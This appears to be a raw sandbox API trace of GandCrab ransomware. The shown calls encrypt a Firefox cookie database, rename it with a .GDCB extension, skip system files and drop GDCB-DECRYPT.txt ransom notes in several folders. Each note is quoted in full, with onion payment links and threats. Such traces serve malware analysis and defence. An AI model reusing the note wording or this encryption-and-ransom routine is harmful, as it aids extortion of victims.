CryptEncrypt (in: hKey=0x5b82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.350] GetLastError () returned 0x0 [0055.350] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.350] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.350] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.350] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.350] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x80000, lpOverlapped=0x0) returned 1 [0055.359] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.363] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x2a30000 [0055.369] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.371] SetFilePointer (in: hFile=0x504, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.371] WriteFile (in: hFile=0x504, lpBuffer=0x2a30000*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2a30000*, lpNumberOfBytesWritten=0x285e820*=0x80000, lpOverlapped=0x0) returned 1 [0055.372] VirtualFree (lpAddress=0x2a30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.373] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.376] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.376] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.376] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.376] CloseHandle (hObject=0x504) returned 1 [0055.382] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.382] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.382] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.382] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite.gdcb")) returned 1 [0055.383] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.383] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.383] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.383] lstrcmpW (lpString1="crashes", lpString2=".") returned 1 [0055.383] lstrcmpW (lpString1="crashes", lpString2="..") returned 1 [0055.383] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="crashes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes" [0055.383] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\" [0055.383] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.383] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.383] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.383] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.383] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.383] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\") returned 88 [0055.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*" [0055.384] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8330 [0055.384] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.384] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.384] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.384] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.384] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.384] lstrcmpW (lpString1="events", lpString2=".") returned 1 [0055.384] lstrcmpW (lpString1="events", lpString2="..") returned 1 [0055.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="events" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events" [0055.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events") returned 94 [0055.384] lstrcmpW (lpString1=".default\\crashes\\events", lpString2=".sql") returned -1 [0055.384] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.384] lstrcmpW (lpString1="store.json.mozlz4", lpString2=".") returned 1 [0055.384] lstrcmpW (lpString1="store.json.mozlz4", lpString2="..") returned 1 [0055.384] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="store.json.mozlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4" [0055.384] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105 [0055.384] lstrcmpW (lpString1=".mozlz4", lpString2=".sql") returned -1 [0055.384] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0055.384] FindClose (in: hFindFile=0x5b8330 | out: hFindFile=0x5b8330) returned 1 [0055.384] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.384] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\\\GDCB-DECRYPT.txt") returned 105 [0055.384] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.385] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.385] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0055.386] CloseHandle (hObject=0x504) returned 1 [0055.386] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.386] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\") returned 88 [0055.386] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*" [0055.386] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8330 [0055.386] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.386] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.386] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.386] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.386] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.386] lstrcmpW (lpString1="events", lpString2=".") returned 1 [0055.386] lstrcmpW (lpString1="events", lpString2="..") returned 1 [0055.386] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="events" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events" [0055.386] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\" [0055.386] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.386] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.386] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.386] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.387] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.387] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\") returned 95 [0055.387] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*" [0055.387] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b83f0 [0055.387] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.387] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.387] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.387] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.387] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0055.387] FindClose (in: hFindFile=0x5b83f0 | out: hFindFile=0x5b83f0) returned 1 [0055.387] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.387] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\\\GDCB-DECRYPT.txt") returned 112 [0055.387] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\events\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.388] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.388] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0055.388] CloseHandle (hObject=0x508) returned 1 [0055.388] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.388] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\") returned 95 [0055.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*" [0055.388] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b83f0 [0055.389] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.389] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.389] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.389] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.389] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.389] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.389] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\GDCB-DECRYPT.txt" [0055.389] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.389] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\GDCB-DECRYPT.txt") returned 111 [0055.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\GDCB-DECRYPT.txt") returned 111 [0055.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\GDCB-DECRYPT.txt") returned 111 [0055.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\events\\GDCB-DECRYPT.txt") returned 111 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.389] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.389] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0055.389] FindClose (in: hFindFile=0x5b83f0 | out: hFindFile=0x5b83f0) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.389] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.389] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\GDCB-DECRYPT.txt" [0055.389] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.390] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\GDCB-DECRYPT.txt") returned 104 [0055.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\GDCB-DECRYPT.txt") returned 104 [0055.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\GDCB-DECRYPT.txt") returned 104 [0055.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\GDCB-DECRYPT.txt") returned 104 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.390] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.390] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.390] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.390] lstrcmpW (lpString1="store.json.mozlz4", lpString2=".") returned 1 [0055.390] lstrcmpW (lpString1="store.json.mozlz4", lpString2="..") returned 1 [0055.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\", lpString2="store.json.mozlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4" [0055.390] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.390] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105 [0055.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4") returned 105 [0055.390] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.390] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0055.390] FindClose (in: hFindFile=0x5b8330 | out: hFindFile=0x5b8330) returned 1 